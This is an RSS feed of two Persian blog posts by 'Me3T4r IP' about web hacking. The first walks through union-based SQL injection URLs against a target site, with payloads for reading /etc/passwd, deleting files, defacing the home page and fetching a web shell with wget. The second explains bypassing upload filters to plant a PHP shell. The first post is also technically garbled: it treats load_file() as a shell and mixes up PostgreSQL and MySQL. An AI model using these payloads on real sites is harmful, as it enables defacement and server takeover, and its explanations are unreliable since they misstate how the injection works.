<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"><channel><title>نوشته های Me3T4r IP</title><link>https://virgool.ir/feed/@Me3T4r_IP</link><description></description><language>fa</language><pubDate>2026-11-11 10:21:57</pubDate><image><url>https://files.virgool.ir/upload/users/476241/avatar/vxyk1o.jpeg</url><title>Me3T4r IP</title><link>https://virgool.ir/@Me3T4r_IP</link></image><item><title>تبدیل باگ SQLI به RCE</title><link>https://virgool.ir/@Me3T4r_IP/تبدیل-باگ-sqli-به-rce-qxlymakiiom7</link><description>چگونه باگ sql رو به باگ rce  تبدیل کنیم؟باگ SQLI چیست؟باگ SQLI مخفف SQL injection و به معنای تزریق کد های SQL  به پایگاه داده از طریق  URL  است و ممکنه  تمامی پایگاه ها مثل (MariaDB ,Microsoft SQL ,Oracle ,My SQL, MS SQL ,...) این باگ و داشته باشند  و ضعف از پایگاه داده نیست و این اشتباه از برنامه نویس (php , asp)  و کانفیگ غیر استاندارد سرور به وجود میاد.باگ rce  چیست؟ باگ rce  مخفف Remote Code Execution و به معنای کنترل از راه دور می باشد و به نفوذ گر امکان اجرای دستوراتی  رو روی سرور میده و میشه گفت یک اسیب پذیری بصورت ریموت استو بر اساس اشکالات برنامه نویسی شکل میگیره یعنی چطوری؟ ببینید هنگام استفاده از تابع Get در PHP اگر مقدار دریافتی را به درستی تعریف نکنیم با این آسیب پذیری مواجع میشویم . این مقدار میتواند بصورت یک متغیر در برنامه ما باشد . که در صورت بروز مشکل ما میتوانیم یک مقدار بصورت دلخواه به آن وارد کنیم به تابع set را برای دادن مقدار به متغیرها در برنامه ها و تابع get را برای گرفتن مقدار متغیر ها و نمایش آنها در برنامه ها استفاده میکنیمتبدیل باگ sql  به rce:پایگاه داده PostgreSQL یکی از معروف ترین پایگاه داده های رابطه ای است که در کاربردهای مختلفی از جمله توسعه وب مورد استفاده قرار می گیرد. در این مقاله به بررسی تزریق UDF در پایگاه داده PostgreSQL خواهیم پرداخت و چگونگی رسیدن به اجرای کد از راه دور (RCE) از این طریق را خواهیم آموخت.  اینو یادم رفت بگم که دستوراتی که پایین میبیند مال سرور لینوکسیه خب چجوری بفهمیم سرور تارگتمون لینوکسه؟!  کافیه از سایت ping اگه TTL  بالای 100 بود سرور تارگت ویندوزیه ولی اگه زیر 100 بود سرور لینوکسیه (ساده ترین راه).خب برای مثال ما یک تارگت داریم که باگ sql  از نوع UNION BASE که ما میتونیم به دیتابیس دستوراتمون و وارد کنیم برای مثال :target.com/news.php?id=10قدم بعدی ما پیدا کردن ستون های اسیب پذیره که از یه عدد بزرگ مثلا 9999 شروع میکنیم تا برسیم به تعداد ستون یعنی سایت بدون هیچ اروری لود بشه  خب برای مثال ما 9 عدد تعداد ستون های اسیب پذیرمونهtarget.com/news.php?id=10+order+by+9--و میبنم که کدوم ستونمون اسیب پذیره برای مثال ستون 8 اسیب پذیره ولی در اینجا بجای ادامه دستورات باگ sql میایم و دستورات rce  خودمون و میزنیم یعنی به صورت ریموت دستور میزنیم خب چجوری؟target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;etc/passwd&#34;),9--دستور بالا که توی ستون آسیب پذیر 8 زدیم یک دستور مال باگ rce در اینجا ما هر دستوری که توی باگ rce  مورد استفاده قرار میگیره رو میتونیم بزنیم یعنی دستورات لینوکسی خودمون و میتونیم بزنیم در کد بالا ما گفتیم برو توی فایل etc  و پوشه پسورد تمام یوزرنیم و پسورد های سرور و به ما نشون بده و اینجا  هم میتونیم pwd  بزنیم تا مسیری که توش هستیم و به ما نشون بده میتونیم با زدن دستور .. cd به یه پوشه عقب تر برگردیم target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;cd ..&#34;),9--وقتی به یه پوشه عقب تر برگشتیم میتونیم با زدن دستور ls -la  محتویات داخل پوشه ای که واردش شدیم و ببینیم یا هم میتونیم دو تا دستور و یکی کنیم یعنی بگیم یه مسیر به عقب برگرد و محتویاتش و به ما نشون بدهtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;cd .. ; ls -la&#34;),9--و همچنین میتونیم محتویات پوشه های سایت و ببینیم برای مثال ما میگیم چه چیزایی در پوشه home  و اصلی سایت وجود دارهtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;cd /home/ ; ls -la&#34;),9--و در اینجا محتویات پوشه اصلی سایت و به ما نشون میده و حتی میتونیم داخل سایت پوشه بسازیم برای مثال  میگیم یه پوشه به اسم Me3T4r بساز و کنار پوشه ای که برامون ساختی چه چیزی وجود داره به کد زیر توجه کنیدtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;mkdir Me3T4r ; ls -la&#34;),9--بعدش میتونیم با دستور cd Me3T4r   وارد پوشه ای که ساختیم بشیم و و یک فایل inedx.html بسازیم و سایت و دیفیس کنیم target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;mkdir Me3T4r ; cd Me3T4r  ; echo Hacked By Me3T4r IP &gt; index.html ls -la&#34;),9--با دستور بالا میاد و یه فایل میسازه و متن دلخواه شمارو چاپ میکنه و فقط کافیه به اخر سایت مسیری که پوشتون و ساختین اضافه کنید بعدش اسم پوشتون و بنویسید تا متنی که چاپ کردین و ببینید و میتونیم فایل های توی دیتابیس و پاک کنیم برای مثال من میخوام پوشه ای که ساختم و پاک کنم و به ما نشون بده که پوشمون پاک شده یا نه چطوری؟؟! ببینیدtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;rm -r Me3T4r ; ls -la&#34;),9--خب شاید براتون سوال پیش بیاد که میتونیم صفحه اصلی سایت و دیفیس کنیم؟ بله میشه یه pwd  میگیریم و میریم توی مسیری که صفحه اصلی سایت وجود داره و اگه index.html  مشاهده کردیم دیگه یاد گرفتیم با دستور rm -r index.html  پاکش میکنیم و یدونه index.html  می سازیم و متن خودمون و توش echo  میکنیم ولی اگه بجای index.html  ما index.php دیدم چکار کنیم؟؟!  کاری نمیخواد بکنیم چون اول فایل index.html  خونده میشه و کافیه  ما طبق دستور زیر فایل خودمون و بسازیم تا صفحه اصلی و دیفیس کنیم.target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;cd /home/public_html/ ; echo Hacked By ME3T4r IP &gt; index.html ; ls -la&#34;),9--و ما موفق شدیم صفحه اصلی سایت مورد نظرمون و دیفیس کنیم خب حالا یه سوال پیش میاد براتون که آیا ما میتونیم روی سرور فایل اپلود کنیم یا روی سایتمون شل یا هرچیز دیگه اپلود کنیم؟!  بله میشه اول میریم فایلمون رو روی سایت هایی که میشه روشون فایل اپلود کرد اپلود میکنیم و با دستور زیر فایل مثلا شل مون و توی سرور سایت اپلود میکنیمtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&#34;wget **** ; ls -la&#34;),9--بجای **** ادرس فایل مورد نظرتون رو وارد کنین و فایل دانلود میشه و فقط کافیه اونو فراخوانی کنید.موفق باشید.</description><category>Me3T4r IP</category><author>Me3T4r IP</author><pubDate>Sat, 19 Dec 2020 02:01:58 +0330</pubDate></item><item><title>باگ (RFU(remote file upload</title><link>https://virgool.ir/@Me3T4r_IP/باگ-rfuremote-file-upload-dvqlbwmkrkh1</link><description>باگ rfu چیست؟ببینید وقتی ما میخوایم فایلی رو روی سرور اپلود کنیم این باگ به وجود میاد این به این منظور نیست که همه اپلودر ها میتونن باگ داشته باشن این باگ بر اثر خطای برنامه نویسی ایجاد میشه که به ما اجازه اپلود فایل دلخواهمون و میده و شخص نفوذ گر میتونه فایلی که دلخواهش هست و آپلود کنه از دیفیس بگیریم تا شل (اگه اپلودر اجازه اپلود فایل php و بده جلوتر توضیح میدم) و هر فایل مخرب دیگری رو اپلود کنه دو نوع اپلودر داریم سمت کاربر و سمت ادمین(ما بهش دسترسی نداریم) مثلا ما وارد سایتی میشیم که برای احراز هویت باید یه عکس اپلود کنیم خب اگر ما به جای عکس بیایم و شلمون و اپلود کنیم چه انفاقی می افته؟؟! خب میتونیم به سایت دسترسی root(کامل) و یا یه دسترسی نصف و نیمه بگیریم ما چند نوع اپلودر داریم که با هم چنتاش و بررسی میکنیم. اپلودر extention ===&gt;نوع اول : دراین نوع که اسمش white list هست برنامه نویس میاد و میگه که فقط اجازه اپلود پسوند هایی که یه عکس میتونه داشته باشه رو بده مثلا (jpg  - .png- .pict - .jpeg.  و....) که فقط میتونیم عکس اپلود کنیم.نوع دوم : در این نوع که اسمش black list  هست برنامه نویس میاد و فقط چند فایل و محدود میکنه مثلا میگه تو هر چیزی و اپلود کن به جز (html,php,asp,aspx,exe و...) و در این صورت بجز این فایل ها همچی میشه اپلود کرد.نوع سوم : در این نوع برنامه نویس میاد به اپلودر میگه اقا فایل مثلا بیشتر از 1 مگابایت اپلود نکن.*** گزینه سوم میتونه ترکیبی با بقیه گزینه ها هم بیاد***خب شاید سوال براتون پیش اومده که این اپلودر ها که همشون محدودن پس یه شخصی که میخواد نفوذ کنه چجوری نفوذ میکنه؟ در جواب این سوال باید بگم وقتی برنامه نویس درست اپلودر و کانفیگ امنیتی ست نکرده باشه و یا حتی کانفیگ امنیتی کرده باشه (در اینجا کار کسی که میخواد نفوذ کنه سخت تر میشه) شخص نفوذ گر بایپس هایی رو روی اپلودر میزنه تا فایلش اپلود شه به طور مختصر به نوع بایپسی که انجام میشه اشاره میکنم .1- افزونه هایی برای این کار هست ولی بهترین افزونه برای بایپس اپلودر Live HTTP headers که میتونید توی گوگل سرچ کنید و روی مرورگر خودتون نصب کنید.2- برنامه Burp Suite که برای اسنیف کردن استفاده میشه و میتونیم باهاش اپلودرمون و بایپس کنیم (در صورت وجود باگ)طرز کارشونم اینطوریه ما میایم مثلا شلمون و با پسوند jpg اپلود میکنیم shell.jpg بعد از اسنیف کردن میتونیم پسوند فایلمون و تغییر بدیم تا شلمون با پسوند php اپلود بشه.این باگ خیلی مرسومه و حتی توی مسابقات CTF (فتح پرچم) که یک مسابقه برای به چالش کشیدن هکر هاس این باگ زیاده دیده میشه (این مثال و زدم که فکر نکنی باگ ضعیفیه).خب یکم عامیانه گفتم که مطالب و درک کنید خدا پشت و پناهتون.</description><category>Me3T4r IP</category><author>Me3T4r IP</author><pubDate>Thu, 17 Dec 2020 20:17:44 +0330</pubDate></item></channel></rss>